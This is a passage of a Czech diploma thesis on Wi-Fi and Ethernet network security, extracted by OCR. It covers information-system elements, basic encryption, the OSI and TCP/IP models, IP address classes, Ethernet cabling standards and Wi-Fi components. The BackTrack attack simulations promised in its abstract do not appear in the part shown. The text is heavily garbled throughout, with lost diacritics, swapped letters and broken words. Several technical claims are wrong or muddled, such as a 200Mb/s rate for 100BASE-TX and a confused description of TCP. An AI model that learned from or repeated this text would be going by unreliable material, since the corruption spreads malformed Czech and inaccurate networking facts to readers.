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ABSTRAKT

Cilem této diplomové prace je vyflit éten& mozna rizika spojend s provozovanim
wifi a ethernetovych siti. ilizit dil¢i systémy, které tud slozity komplex a hierarchii
sitového provozu, systémy detekce moznyctiniti a jejich hardwarova a softwarova
feSeni. Aktivity, které tyto systémy zahrnuji a jakygpisobem spolu kooperuji, jsou
nedilnou sotasti. Mezi aktivity pdf filtrovani provozu, hlasSeni a vypisy z logu; radot
upozorrgni by nel regovat kazdy spravce siti.

Obsahem této prace je také pohled do oblaskihg a nasledné&g@dvedeni simulaci na
virtualni siti. Rov®z principy vyuzZivané pro tyto metody a jakymugpbem jsou
provadgny jednotlivé nekalé aktivity. Vyst¥lena je prace v ifkazovémiadku sfové

distribuce operniho system BackTrack, ktery je pro pen&tidestovani imo sestaven.

Kli¢ova slova: Bezpmost, Network, WEP, WPA/2, BackTrack, Kryptograk@ow-how,

Firewall, Snort

ABSTRACT

The objective of my thesis is to explain cogént risks connected with the operation of
wifi and Ethernet networks to the reader. To brahgser the partial systems forming a
complicated package and the hierarchy of netwaffi¢t systems for detection of possible
intersections and their hardware and software isolsit The activities included in these
systems and the way how they cooperate are thgrahteart. Traffic filtration, messaging

and log listings; every network administrator sldordspond to these warnings.

This thesis also includes an insight into agkand subsequent demonstration of
simulations on a virtual network. The principlesedisfor these methods and how the
individual mischievous activities are carried olilhe command line operations related to
the BackTrack network distribution, which is didgcbuilt for penetration testing, are

explained as well.

Key words: Security, Network, WEP, WPA/2, BackTradBryptography, Know-how,

Firewall, Snort, BackTrack
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UvoD

Datova bezpaost pati v soasnosti kéasto skldovanym pojnim mnoha obar
¢innosti ¢loveka. Jelikoz ve vSech oborech lidskénosti jsou jiz dnes sitzabudovany a
také vyuzivany ve velké ifd, jsou hlavnim stavebnim blokem kazdé organizdoeZstvi
pienasenych dat, které si mezi sebou jednotlivé isyspéedaji, jsou wadu terrabitu. Toto
ohromné mnozstvi dat musi by&akym zpisobem zabezgeno fed svou cestou po
sitové infrastruktie mezi odesilatelem &igmcem. Abychom zamezilicpadnému uniku
informaci know-how nebo vyrobni strategie, fippd informaci o uZivatelich, je nutné

tyto systémy komplexha strukturova# zabezpéit.

Smyslem proaktivniho zabezpai komplexniho gového a informéniho systému je
prevence a sofistikovana protiofeti, ktera nam dovoli identifikovatipadné hrozby a
hlavre véas odhalit slabiny systému. Kryptograficky zabé®p@ informace spolu
s digitadlnim podpisem nam poté jako jeden z medmahiochrany penasené informace

zajisti divéryhodnost a osfeni zdroje.

Specifikace z oblasti malo proklamované, @khgcking, se snazim v této praci dotykat
i prakticky. V dnesni dab je hackerem nazyvana osoba, kterou do detadjimaji
informace o informénich technologiich a nasletiipak své znalosti vyuziva. e je

samozej¢ také zneuZivat a apobit tak nemalé Skody.

Principem proaktivniho zabezeai je zkoumat tyto systémy nejen z pohledu spravce
sitt, ale také z pohledu uZivatele, ktery na tomto rimi@nim systému pracuje. Pro
takového uzivatele je nutné zajistit¢itd pravidla a zavést dalSi mechanismy, jako je
politika organizace, rozsah mozny¢mnosti a pistupova prava. Dale je nezbytné tyto
systémy podrobit i penetaimu testovani, ale také vyzkouSet slabiny, kterstés
vykazuje z pohledu potencialniho &bdka. Proto bychom #h nasadit testovani
zranitelnosti z vnihiho Useku sita z vigjSiho. Nasled& systém zabezpeg a provadt
testovani periodicky. Neftieme si dovolit nechatt&ivé zdroje bez pravidelné kontroly
stavu rizika moznych vniknuti, neba@neuziti je natolik velké a destruktivni, Ze si ho
nemize dovolit Zadna organizace. Nové informace o mazplomeni fiznych systérin
a aplikaci se objevuji neustdle. Proto musime w@dtZzgvou databazi proti moznym
atokim v aktualnim stavu a n#pustit rizika, napiklad neudrZzovany ffstupovy bod

vytvoreny zamdstnanci pro svou vlastni gebu, jelikoz tyto hrozby mohou byt pro
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atoénika vstupnimi dvieni do infrastruktury siového provozu s naslednym zkoumanim

celého informaniho systému.

Mazeme ale IS chranit pomoci sofistikovanych mechmaijgako jsou systémy detekce
priniku, honey porty a VLSM. Tyto mechanismy nangitym stuprém divéryhodnosti

zarwuji, Ze zdroje nebudou vyuzivany amdky, nebo chcete-li, nepovolanymi osobami.

Na nasledujicich stranach jsem se pokusilaslirnaznéena dilezita fakta do jednotné

prace, ktera se vySe zmiftymi pravidly zabyva.
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|. TEORETICKA CAST
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1 POCITA COVA SiT (CN)*

Klicova slova: Si, Internet, Bezpmost, Pravidla, Rota¢, Zabezpe&eni, Wifi, Ethernet,
Hacking

Jestlize porovnam nedavnou minulogasem vzniku této diplomové prace, kdyve
pocitate nebyly mezi sebou propojeny pomodznmych médii, pak vyvoj v této oblasti
informatnich technologii se posunul prapddobr tim spravnym sgrem. Metalickagi
optickd media a volny prostor uzivané prenms dat podnitil celogtovy nafist uzivateh
piipojenych do sé internet. To vSe, s moznostmi az vysokorychlostnffenosu dat,
piineslo zasadni zény. MuZeme pozorovat expanzi nafoka rychlost fenosu v realném
c¢ase a z nich vyplyvajici poZzadavek na vice prostom aplikace nutné k zajisti
bezpénosti obyvatelstva ditého Uzemi. Dale nastaji naroky ob§ejnych uZivatel
internetu na sdileni informaci a zapojeni do onhee Z toho rezultuje naléhava felia

feSit nasledujici otazky:

» Mame sva data chréna proti zneuziti?

Je nadmi zvolend politika neprolomitelna?

Je nas systém nakonfigurovan dostaie

Existuje redlna moznost odposlechu nami posiladath

Je naSe konkrétnitstabezp&ena dokonale proti Utoku z &8ku nebo zevnif

Existuje stoprocentni zajiti zabezp&eni paitacové sit?

YV V.V VYV V V

Existuje kvalitniteSeni na zabezgeni naSich siti a systém

Tyto a dalSi otazky siten& po pecteni diplomové prace nemusi klastlroy na r&
dostat odpo&d’. Moje diplomova prace je vedena zaem maximald pokryt poZzadavky

na datové zabezpeni p@itacovych siti a opetmich systém, a tim umoznittendi, aby

! Pokud nebude uvedeno jinak, tak veskeré zkratiextu jsou vysstleny v Seznamu pouzitych symbah

zkratek na konci této préace.
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se sousedil na skutena rizika spojena s uzivanim jak wi-fi siti, takasickych
ethernetovych siti. Pokusim se zde uveést z&klatly sfové komunikace, sbvé
infrastruktury, ale pblizit i oblast mnohdy tajemnou, jejiz nazev je#ému znam jako

~hacking".

Po prostudovani by sianiten& uvédomit nasleduijici:

» Bezpeénost a proaktivni iistup k zabezpgeni je nezbytnou sdasti kazdeho

informaniho systému nebo opé&rdho systému a sit

Internet coby ,s$ivSech siti*, jak je charakterizovan v mnoha puddikh, je prosedi
sice anonymni, ale pro neznalého uZivatele z dblashebezpé&né. OvSem tak zcela
anonymni zase neni, protoZze kazdgneseny paket ma svoji zdrojovou a cilovou adresu a

existuji definovand pravidla prdipojeni do si.

Také v tomto prodi, ale podobhi v prostedi Ezném, Ize Bkteré situace simulovat,
zmast tim ostatni uzivatele a uvést je tak do jllkterou divéiiva osoba nepo&hne, a
podlehne ,kouzelnikovi“, ktery ji nasledmipravi o citliva data. Tato data pak mohou
v nékterych gipadech psobit destruktive jak na soukromy Zivot, tak n&glad na
spole&nost, kterou dana osoba vlastni. Proto j¢gi@ zabez@#t, nastavovat aijfrazovat
pravidla pro pistup k datovym skladgn a ty ochranit co mozna nejlepSimiugpbem.
ProtoZze nejlepSi Zi3ob jak sva data zabezjieje ochranit je proti moznému zneuziti.
Kazda pdaitacova sf je sodasti komplexniho inform@miho systému, na ktery je napojena

dnes jiz kazda spaiaost.

Pokud provnam pditacovou sf k lidskému &lu, jde o paténi nervovou soustavu, jejiz

poruseni nebo naruSerinasi nedozirné az destruktivni nasledky.
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2 INFORMA CNi SYSTEM (IS)

Kli¢ova slova: 1S, Know-how, Hardware, Software, Datdé

Informa&ni systém daného subjektu se sklad&kolika zakladnich komponent, nebo
chcete-li elemerit jeZ dohromady tvd slozity celek, ktery je nutno koordinovat &itym
zpasobemiidit pro gipad moZzného napadeniteBevsim efektivéa disledrg predchazet

Krizovym stawim jako je mozné:

» Napadeni

» Zneuziti informaci

Za inform&ni systém mZeme obech pokladat soubor software, hardware, v
neposledniracé osob pracujicich €mito prostedky a jejich znalosti (know-how). Dale

data, ktera jsou cennym aktivem sgolesti.
Struktura IS:

> Lidé
> Hardware
> Software

» Data (aktivum, cenny majetek spéatesti)

Lidé
Ti nalezi mezi vyraznrizikovou skupinu, jsou to osoby pracujici pro kogtni

spole&nost:

» Administratdi
» Spravci siti
» Operatdi

» Sekretéky aj.

Neni mozné zabezpie Unik informaci pes tento lidsky faktor dotdledki, |ze vSak

omezit napiklad implementacitznych prav. Jak pro skupiny, tak i pro jednotlvaaéa
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zaklad techto prav monitorovatinnost vig IS. Nebo' kazdy se musi nejprveiblasit do

systému a teprve potomite pracovat a vyuzivat zdroje.

Hardware

» Konkrétni Zelezo, harddisk, zakladni deska, monfiaické za&izeni, kabely

Software

» Aplika¢ni vybaveni spolosti, operani systémy, aplikace

Data

» Aktiva cenného majetku spdaleosti v elektronické podab

Tento vytah zakladnich elem&ntS je nutné specifikovat podro§jn v pripact
napadeni, jaky to vlastrbude mit dopad.

V @ipact, Ze aktiva zneuZije osoba z IS nebo hacker a oaktiva pro své za#ny, o
které dana spoteost nejevi zajem, tizeme tuto situaci vyhodnotit jako napadeni systému.
V takovém pipact je ale jiz pozd néco daleieSit a snazit se o preventivni aiea.
Preventivni opdeni dle smyslu prevence byélm byt (a musi byt) saiésti kazdé
spole&nosti, ktera chce ugpv konkuregnim boji. V gipad nenasazeni preventivnich
opateni do IS je soubor nevhodny a nastede stava téem Gtoki s cilem ziskatiezité

informace.

> Utok (attack) - cilené jednani osebskupiny osob zadelem ziskani informaci
nebo poskozeni IS.

> Uto¢nik - osoba provagici tuto ¢innost, ktera neni povolena.

Osoby - zejména uzivatelé / pracovnici,ikigracuji na konkrétnich hardwarovych
zaizenich, jako je p#ita¢, switch, router, access point, firewall a podgbjsou plrE
zodpowdni za konfiguraci jim sttenych Usek, a proto je nezbythnutné nastavit politiku

organizace tak, aby vyhovovala beapastnim rizikKim.

Data - také aktiva organizadiasto velice dlezitd ochrana know-how, vyrobni

tajemstvi, databaze kligntPi naruSeni, ,hacknuti“ naruSitelem, ktery tato dateuzije,
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je ztrata tak velka, Zzéasto givede danou organizaci na pokraj krachu,ifjogect ma tento

Utok destruktivni charakter.

Stroje - v této praci prvkytsivé infrastruktury - pé&tace, routery, firewally, servery,
diskova pole (databazové sklady) a dalSi, ktera gtstupné pomoci sit A se kterymi

muzeme vzdalehkomunikovat pra¥ pomoci siti afistupovat k jejich progedkim.

Pra¥ tyto zakladni elementy, t¥iai celkovy IS, jsou dleZité nejen pro svou spravnou
konfiguraci. Nesmi byt zanedbatelna a je nestrdfieZit4 pro spravnou funkci a nasledné
neproniknuti hackérdo systému. VedisSine pripadi ale konfiguraci provagi lide, ktei
nejsou neomylni. Proto by &a kazda organizace disponovat kontrolnim mechagrsm
ktery bude tato nastaveni kontrolovat, s az nagtedprovedenim auditu. Z auditu musi
vyplynout, kde v celkovém systému jsou slaba mésteo vyZaduje kvalitativni zénu.
Popripact swiit tuto kontrolni ¢innost jinym specializovanym firmam, které provedou
penetréni testy naSi sita maji stouto konkrétnéinnosti vice zkuSenosti. Zj&té

poznatky pak nejsou zav§iti, naopak pl& vyhovuiji standaniim ohodnoceni 18.

2 Informasni systém je komplexni souhrn v8ech moznych variaredeny vytah je pouzsti. V realném

pohledu je informéni systém daleko provazgsi a sofistikova#jsi.
Pokud nebude uvedeno jinak, tak veskeré zdroje budadny v textu v hranatych zavorkach

Seznam zdrdj a publikaci naleznete na konci prace.
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3 SIFROVAN;] ¥

Kli¢ova slova: Kryptografie, Steganografie, TranspazZiugstituce, Kryptoanalyza

Jednim z mnoha #gohi jak zabezp&t pienos informaci je zaSifrovat horeul
odeslanim do wejné si¢, a to algoritmy k tomu utwenymi. O tom a dalSich #pobech

zabezpéeni pojednava nasledujicst prace.

Kryptografié’

» pavod ztreckého slova kryptos (skryty), j@da zabyvajici se Sifrovanim informaci
do podoby né&telné pro pipadného Uténika. Cilem je zamezit mu tak
v odposlouchavanirpnasenych informaci. Ukolem kryptografie neni tigjiravu,
ale pouze ji zaSifrovat tak, abyipadny naruSitel nemohl obsah pomoci Sifrovani
odhalit.

Steganografie

» pracuje s metodou schovani zpravedg gipadnym nefitelem, v porovnani s
kryptografii jde o podstathjednodussi metodu. Co je podstatné ¢ otetody Ize

kombinovat a dosdhnout tak daleko efekgjgiho Sifrovani, tzv. (mikroteky).

Transpozice

» pismena abecedy se ugfdaji jinak

Substituce
» (pritazeni jiného znaku abecedy, vztah A=V). VeSkeréstduloe s usp@danim
podle rgjakého kite, kde kbéd je nahrada celych slov a Sifra je &@ampismen.

Z toho se pak odviji dekddovani a desifrovani.

% Cela kapitola poukazuje na zakladni moznosti $ifoéch technik a mechaniém
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Kazdou Sifru Ize popsat pomoci algoritmu a poinklice, ktery specifikuje detaily Sifry.

» Odesilatel (oteteny text, kI, algoritmus)
» ZasSifrovana zprava

» Prijemce (zn& algoritmus a mad&)i

Kryptoanalyza je &da, kterd se zabyva deSifrovanim matematickymi deeto bez

znalosti kle.

> Sifra je algoritmus, podle kterého je dany texifragan
» Symetricka Sifra

» Asymetricka Sifra

3.1 Asymetrické Sifrovani”

Je to metoda, kterou se pomodieyeeho a privatniho ke informace zasifruji a po
prijeti nasledn deSifruji. Vyhoda tohoto Sifrovani souvisi s Wmou klict na Sifrovani a
desifrovani, ktera f¥e Zistat druhé stranutajena. V tomto zjsobu Sifrovani se uziva
vefejny a soukromy k#é. Princip spoiva vtom, Ze odesilatel ukgni veejny klic a
kdokoliv mu mize poslat zpravu zaSifrovanou timtockin (mechanismem). Nasledn
adresét po doteni deSifruje soukromym Kkim, ktery je inverzni k wejnému. Tento

zpasob Sifrovani se pouziva pro elektronicky podpis.

Odesilatel
» Zprava
» ZasSifrovani véejnym klicem

» Odeslano
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Prijemce
» Prijato

» DeSifrovano soukromym kKiém

3.2 Symetrické Sifrovani”

Na rozdil od asymetrického uziva pouze jedéh ro Sifrovani a deSifrovani zpravy.
Kladem tohoto zfisobu Sifrovani je nizka vypetni rychlost, zdporem a rizikem naopak

sdileni klte.

Odesilatel

» Text
» Symetricka Sifra

» ZasSifrovany text

Prijemce

» Zasifrovany text
» Symetrickd Sifra
» Text

Symetrické Sifry rizeme dale roziit na Sifry blokové a proudové. Blokové

zpracovavaiji text po blocich, proudové po bitech.

Sifrovani je jednim ze apol bezpéné komunikace v progdi p@itatovych siti.
Existuje mnoho zjsohi a algoritmii Sifrovani pouzivanych v dnesni dotNekterym
budu v této praci jeStvénovat pozornost, nicménsifrovanim se dale budu zabyvat
pouze okrajo¥. Je to sice jeden ze igohi zabezpe&eni firemni nebo soukromé
komunikace, ktera probih& pro siti, ale existuj;mnoho komponent, které se podili
na celkové architekte siti a uvadi tak robustni &ilo provozu za pomociiznych
technik. Davaji tak moznost uvést do provozu mnolmnych feSeni, ktera se tak
nabizi, a zalezi pouze na znalostech administrattta pouZiji zfisob paranoidni

nebo jiny. V nasledujicich kapitolach se proto btihito moznostmi zabyvat.
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4 REFERENCNI MODEL ISO/OSI

Kli¢ova slova: ISO/OSI, Vrstva, Prvek, TCP/IP, IPv4,8Pv

Model ISO/OSlje standardem protsivou komunikaci. Prakticky znazarje, na
jakém principu sé pracuji a jak mezi sebou jednotlivé hardwary korkujn Pro tento
model plati:¢éim niZe je jednotliva vrstva, tim vice je uZivatryta, nebt ten pracuje na
svem PC s prohlizem jako s aplikaci na sedmeé vistilasledujici tabulka popisuje jeden

priabéh zapouziteni a jednotlivé nazvy vrstev OSI modelu.

Pocet | Jednotlivé vrstvy Zapouzdreni Prabéh Sitovy Prvek

vrstev

7 Application layer data Email klient Brana /gateway

6 Presentation layer data Pop/smtp

5 Seassion layer data POP25

4 Transport layer Segment TCP

3 Network layer Packet IPv4/IPv6 Smérovacé/router

2 Data link layer Frames Ethernet Pfepinad/switch
Most/ bridge

1 Physical layer Bits uTP Opakovaé/repeater
Hub

Tabulkag.1 ISO / OSI model -~

*1SO / OSI model je uzivan pro lepsi pochopeni kaikace mezi zézenim v siti, je to referéni model.
Zdroj:+*+
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Tento model se sklada ze sedmi vrstéemz vrstva nasledujici vyuziva sluzeb vrstvy
piedchazejici a poté poskytuje své sluzby wsi@sledujici. Proces se nazyva zapoezd
(encaspsulation). Standard 802.11 je definovaneg@ua d¥ nejnizsi vrstvy, coz je vrstva
fyzick& (Physical layer) a linkova (Data link layePro linkovou vrstvu je definovano
MAC (Media Access Control), tato sluzba je defino&dpro pistup k mediu a LLC
(Logical Link Control). Fyzicka vrstva u ethernetymbolizuje rozhrani mezi hardwarem a

pirenosovym mediem, u bezdratovych siti je tato vrstka bezdratova.

4.1 NejznameéjsSi protokoly rodiny TCP/IP

Mezi jednotlivymi uzly v siti probihd komunit& pomoci protokdl NejznangjSi
protokol TCP/IP je vyuZivan v sitich, zminim ré¥rprotokol NCP, coZ byliedchidce
TCP/IP v dobach ARPANETU nebo riéidad v Novell NetWare IPX/SPX.

Vrstveny model TCP/IP

Jednotlivé vrstvy Protokoly jednotlivych vrstev

Application layer /aplikacni vrstva DHCP, DNS FTP, HTTP/S, IMAP
IRC, LDAP, MGCP, NNTP, NTP,

POP, RIP, RPC, RTP, SIP, SMTP, SNMP
SOCKS, SSH, Telnet a dalSi

Transport layer /transportni vrstva TCP. UDP. DCCP. SCTP a dalsi

Tabulka¢.2 Model TCP/IP a protokoly

® Vrstveny model TCP/IP a jeho vrstvy uvedené vyiabulce. Uvedenych protokomize byt podstath

vice. zdroj:
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Mezi nejvic diskutované protokoly, ale admirdtory v sfové infrastruktie

pouzivané, nalezi protokol IPv4, do budoucna IPv6.

IPv4 32bitoveécdislo (4 oktety), naipklad 11000000.10101000.00000000.00000000
v binarnim formatu, sobi nac¢lovéka porekud nepirozere. Proto se zavadirevod do
decimalni (desitkové) soustavy 192.168.0.0 bez ymasknaskou 192.168.0.0 /24 (CIDR
notace). IPv6 128 bitov&islo bylo vytvdeno pro nedostatky adresniho prostoru,
S rostoucim petem uZzivatel internetu se stalo nedostatkem IPv4 a bude natwaRy6.

Nize uvadim adresni rozsahy jednotlivych adres.

TCP / 53 pomoci tohoto protokolu se diace (respektive jejich aplikace) na siti
propoji a vytvai tak virtudini kruh, nasle@nse data mohouirenaset. Tento protokol je

spojow orientovany. B ztrat paketi opitovne odesle paket.
UDP / 53 na rozdil od TCP neni sp@j@rientovany, vyuziva se wipack DNS

DNS usptadany systém doménovych jmefivadi internetové adresy na IP adresy a

naopak. UdrZuje decentralizované databaze doméhgmen.

Rozsahy jednotlivych siti:

Trida Bit Start / konec Pocet hostu

Class A 0 0.0.0.0/127.255.255.255 /8 255.0.0.0

Class B 10 128.0.0.0/191.255.255.255 /16 255.255.0.0
Class C 110 192.0.0.0/223.255.255.255 /24 255.255.255.0
Multicast D 1110 224.0.0.0/239.255.255.255 /32

Experimental E 1111 240.0.0.0/255.255.255.255

Tabulka¢.3 Rozsahy adres ™!

® TCP protokol je na rozdil od UDP protokolu spajaxientovany a také spolehjgi. Obsahuje mnoho
¢ésti, které nemé UDP, jako rfédgad TTL. Zdroj{4]
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Paet hostt ndm definuje maska, takZe iégad C /24 255.255.255.0 prvrii bktety
jsou pro s a posledni pro hosty na siti. To znamena, Zetge skladat maximatz 255,
kde prvni adresa se obvykle uzivd pro adrest (4i92.168.1.0/24 ) a posledni pro

Broadcast.

Dalsi informace o protokolechislech jejich port Ize dohledat v databazi IANA.

" Komplexni informace o protokolech je mozné dohlewa Zdroj:

[1.7]
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5 DRUHY SITI A JEJICH PRVKY

Klicova slova: PAN, LAN, MAN, WAN, WPAN, WLAN, WMAN, WVAN, WIFI,

Ethernet, Repeater, Hub, Switch, Router, Gateway

Smyslem této prace neni popisovat vesSkeréydsith a jejich penosové rychlosti,
ovSem bezé&chto zakladnich furdnich znalosti séten& nedokaze udlat predstavu, jak
vSechno vlasth funguje. Proto jsem do prace zahrnul i zakladnmgapopisujici i tuto
sast zansieni prace”

Clereni dle dosahu:

» PAN/WPAN
» LAN/WLAN
» MAN / WMAN
» WAN / WWAN

Osobni $i PAN (Personal Area Network) WAN (Wireless PersoAeta network) -
tyto si€ maji dosah relativh nekolik metri (cca 10 m) a jsou konstruovany na dobu
nezbyt nutnou pro pdebu. Mezi tato spojeni ganize uvedené. Rychlostgmosu jsou
fadow megabity za sekundu (Mbit/s).ékblik metri je oblast POS (Personal Operating
Space).

» PDA
Notebook

IrDa

Mobilni telefon
Bluetooth

sit ad-hoc

YV V. V ¥V V V

tiskarna

Lokalni sf LAN (Local Area Network) ma dosah stovky metiTato sf podléha

moznostem fenosu zadratované technologie takzvanéeagsového media a dalSi piévk
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pro zesileni fenasenych dat. N&glad u kroucené dvojlinky sef@dpoklada 90m délka

segmentu od routeru k zdsuvce, dalSich 10m ke kenco zéizeni. Tyto sit obsahuji
aktivni a pasivni sitové prvky, jako jsou:

» Repeater / opakova
Hub / rozbgovat
Bridge / most
Switch / gepin&

Router / snyrova

YV V V V V

Gateway / brana

Repeater / opako¥a piijima rejak poskozeny signal, ktery se wisiedku dale
zpracuje, restartuje a posle dal. Vyuziva se, kdyalenost sového segmentuiesahne
svou maximalni délku a signal by byl jiz dale nefitalny. V takovém fipact se pouziva

toto zd&izeni u klasickych zadratovanych siti.

Hub - geposila data vSemi smy do vSech pott svého z#izeni, typicka technologie

pro toto zé&izeni je h¥zdicova.

Bridge / most - separuje provo#znych segmefif ¢imZz zmenSuje zatizeni &it

Dovoluje posilat takzvané Unicast ramce.

Switch / pepina - tento sfovy prvek uz je na rozdil od vySe uvedenych intiiggjSi
a nezatzuje zbyténé sit. Z hlediska rychlosti pak nezpomaluje celot), sile dovoluje
pieposilat data pouze na porty definované ernaro uckitou konkrétni cestu. Proto je

dulezity i pro bezpénost komunikace.

Router / sirova - pieposila diagramy, a to takzvanym routrovanim. Rosp®juje

celé si¢ na rozdil od switche, ktery propojuje jednotliv@pace na lokalni siti.

Gateway / brdna - jsou routery, které spogiff s rozdilnymi protokoly. Default

gateway je router,ips ktery je fipojena interni sido veéejné si¢ internet.
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Lokalni bezdratovatsWLAN (Wireless Local Area Network)

Pro penos mezi prvky sitneni uzivana technika ethernetu, ale modulovadivé
viny. Zapojeni funguji na bazi vyséa a gijimace, kdy s kazdym Z&enim je spojen
access point s definovanim jeho MAC a IP, kterati administrator pro fipad, Ze chce
mit IP adresy pod kontrolou. Je také mozné ale iv\glizeb DHCP a nechat vSe na této
sluzkg, ta adresovani #ali. Prvky si¢ spolu komunikuji v bezlicemim pasmu 2.4GHz

nebo v licednim 5GHz.

> Kombinace ethernet a wi-fi

Rychlost penosuradow megabity za sekundu az gigabity (Mbit/s - Gbi/s)

Metropolitni sit MAN (Metropolitan Area Netwlgr m& dosah &kolik kilometri

étveretnich.

> kombinace ethernet a wi-fi

Siroka / rozlehla 8iWAN (Wide Area Network) s dosahengkolika setétvereinich

kilometni.
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6 DELENI DLE POUZITEHO P RENOSOVEHO MEDIA

Kli¢ova slova: Ethernet, Segment, CSMA/CD, Ad-hoc, kaéhtopologie, Hyzdicova

topologie, Sbrnicova topologie

Jako ethernet jsou oziowany si¢, které vyuzivaji pro propojeni jednotlivych azli

localhosti dratové penosové mediumaenych typi. Nasleduje fehled zékladnich drdh

ethernetu a jejich kabelaz.

Ethernef’

>

>

10BASES
o Tlusty koaxiélni kabel, dosah segmentu 500ranpsova rychlost 10Mb/s
0 Segmenty je mozné spojovat opakiema
0 Stromova struktura (gmicova)
10BASE2
o Tenky koaxialni kabel, dosah segmentu 185fnpsova rychlost 10Mb/s
o Technologie sérnicova
10BASE-T UTP/STP kategorie 3, 4, 5, dosah segm&diun
o Rychlost genosu 10Mb/s
o Hveézdicova topologie
100BASE-TX
o UTP kategorie 5, délka segmentu 100m
0 Rychlost genosu 200Mb/s
0 Maximalni vzdalenost 100m
100BASE-FX
o Rychlost genosu 100Mb/s
0 Maximalni vzdalenost 400m
100BASE-T FastEthernet
o UTP kategorie 5, délka segmentu 100m
o Rychlost genosu 100Mb/s
1000BASE-T GigabitEthernet
o UTP kategorie 5e
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0 Maximalni vzdalenost 100m
0 Rychlost genosu 1000Mb/s
» 1000BASE-SX GigabitEthernet
o Prenosové medium: optické vidkno
0 Maximalni vzdalenost 550m
0 VyuZivan pro patai sit
> Adalsi

Ethernet vyuziva systém kolizi CSMA/CD, jeazany na sérnicové topologii. Princip
je nasledujici: stanice nasloucha na mediu, zdavané. Pokud ano, Zae vysilat (kdyz
medium neni volné, stanic&eka na uvoléni). V piipads, Ze stanice vysila, séasré
nasloucha, zda nedoslo vapéhu vysilani ke kolizi. Pokud k ni dojde, staniceeglé
.Jam" a ten signalizuje ostatnim stanicim vznikikel Stanicetekaji od 0 do 2k -1, kde
k je Cislo pirastkove (z¢tSuje). No¥jSi verze ethernetu toto pravidlo nepouzivaji, ale

vyuzivaji plré duplexni rezimy sigpindi.

Ad-hoc

St peer-to-per - pouZziva se k propojeni notebookumezeném prostoru. &8inou

kvuli sdileni dat, Ize nakonfigurovatiem rékolika minut

Kruhova topologie

Stanice jsou zapojeny mezi sebou tak ff@minaji kruh.

Hvézdicova topologie

Jednotlivé uzly jsou zapojeny do centralizadfam zdizeni switche, pomoci kterého

spolu jednotlivé uzly nasledrkomunikuji.

Shirnicova topologie

Jednotliva z@zeni komunikuji na jediném sdileném mediu.
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7 WIFI 8

Kli¢ova slova: Wi-fi, Medium, WAN, LAN, Komponenty

Technologie wi-fi, ale taky wifi (dalSi nazevAN, nebo wireless LAN) se pouZiva pro
pienos dat radiové sitv ucitém frekvegnim pasmu 2.4 Ghz nebo 5 GhzeRasi
informace na #Si vzdalenosti ve starSich budovach nebo komplexXeate je nutné zajistit
provoz si¢ a vzhledem ke vzdalenostem je &maneekonomické tahat kabelaz. Tato
technologie se jevi jako nejvha#iéi reSeni situace. Pro wi-fi je definovan standard IEEE
802.11a / b / g a podlegjntaké moznosti fenosové rychlosti. Prvni wi-fi $i802.11,
rychlost 2Mb/s, revize 802.11b v pasmu 2.4GHz 1KMb/ 802.11a v pasmu 5GHz
54Mb/s, poté revize 802.11g v pasmu 2.4GHz s ngthigiMb/s.

7.1 Zakladni komponenty wi-fi sit&”

Distribieni systém - je patei systém, ke kterému jsodiojeny jednotlivé AP, ve
vétsSing pripadi je zakladem ethernet. Zakladem kazdé wi-fi §@ké konektivita od ISP
(Internet Service Provider), pokud je tedy wi-fispavena za delem gipojeni do si

internet. Bezdratové medium - radiové frekvenc&H4 a 5GHz.

Histupovy bod AP - je Z&eni, které umaije klientim wi-fi sit¢ pripojit se do ni.
Tvoii takzvany most (bridge) mezi dratovou a bezdratovdsti sik. Vzhledem
k variabilitt nezizeni lze AP nakonfigurovat také jako Client / Rafee /, Bridge (Point
To Point) /, Bridge (Point To Multi-point). Na AR s€tSinou zapojuje anténa vSesava,
kterd je spojena pomoci pigtiaih do okoli tak vysila signal (SSID), ktery zachyia i
klienti ve wtSi vzdalenosti. Vykon zavisi na nami zvolené antéoté je teba, aby tato
zarizeni obsahovala vhodné zasuvky prgp@eni kabeldZze s koncovkou RJ-45. Vykon

podle p@tu klienti, které AP stihne obslouZit - odtkolika desitek az po&kolik stovek

8 Kapitola wifi se zabyva zkoumanim wifi moZnostéposu, kédovanim a moznymi rychlostmi.
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(254) - je pimo un®rny cer® zaizeni. S ¥tSim pd&tem klienti klesa propustnost sit
Podpora DHCP server tuto sluzbu byl mmet piistupovy bod fifadit na adresu kliefin
v siti, ovSem pozor na riziko, pokud tuto sluzbu vngrovozu jiz modem. Bez DHCP lIze
zapojit také plnohodnotnou tsiale musime ifhlédnout k réni konfiguraci a tu také

pouzit.

U AP se chci zminit o moZnostech zabéepé a to pomoci filtrovani MAC adres, tzv.
fizeni gistupu k z&zeni nebo Sifrovanirpnasenych dat.

Sifrovani pomoci:

> WEP 64 /128 / 256 bit

» WPA

> WPAII

Napéajeni AP pomoci 8ilnebo PoE. Klient (Infrastructure Klient) nebo sten- je
zarizeni, které komunikuje s AP a tim uniaje paitaci na strag klienta byt gipojeny do
sit WLAN. Antény (snérove, vSesrrove, sektorove) vyzaji/prijimaji signal dBi (v
decibelech) do svého okoli, pomoci niclizeme pijimat signal z ¥tSich vzdalenosti
n¢kolika desitek metr. Kabeldz - kroucena dvojlinka UTP, ktera je uk@ma konektory
RJ-45.

BSS (Basic Service Set) - zakladni soubor efluzrekolik stanic, které spolu
komunikuji. Tato komunikace je provozovana na oméne Uzemi BSA. Pokud se klient
nenachazi v BSA, neile komunikovat s ostatnimi v BSS. Propojenim BSSvé&tsich

celki vznika ESS, rozitny soubor sluzeb.

Asociace
Jeden ze sty kdy se klient fipojuje pomoci bezdratovétsivé karty na AP, ktery
bud'to komunikaci povol&i nikoliv. Pro klienta je tento proces exkluziviii, nemize se

pripojit ke dwma AP sotasre.

Moznosti gristupu
Rizeni gistupu pro vysilani DFC (Distributed Coordinatiorunigtion), funkce
distribuované koordinace a PCF (Point Coordinatitamction), funkcefizeni jednim

bodem. DFC je standard mechanismu pro CSMA/CAggysiro pedchazeni kolizim.
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Protokol CSMA/CA umoiiuje minimum koliznich stavpomoci &échto ramé:

» RTS (Request To Send)

» CTS (Clear To Send)

» ACK (Acknowledge)

» NAV (Netvork Alocation Vector)

V praxi to vypada takto: stanice zaSle RTSvysila® v pripac, Ze tento neni volny,
pocka DIFS, nasledhAP zkontroluje CRC a odeSle potvrzeni ACK. Poktahige ACK
obdrzi, niZze vysilat a znamena to, Ze nedoSlo ke kolizim.iipaot problému tzv.
skrytého uzlu stanice, ktera chce vysilat, ode$iapiidici paket RTS, ve kterém je
obsazena i doba trvani nastavajicinenpsu, AP odpovi CTS. Klienti, kievédi o
nasledujicich RTS a CTS, stgmastavi indikator virtualniho naslouchani NAV rabual

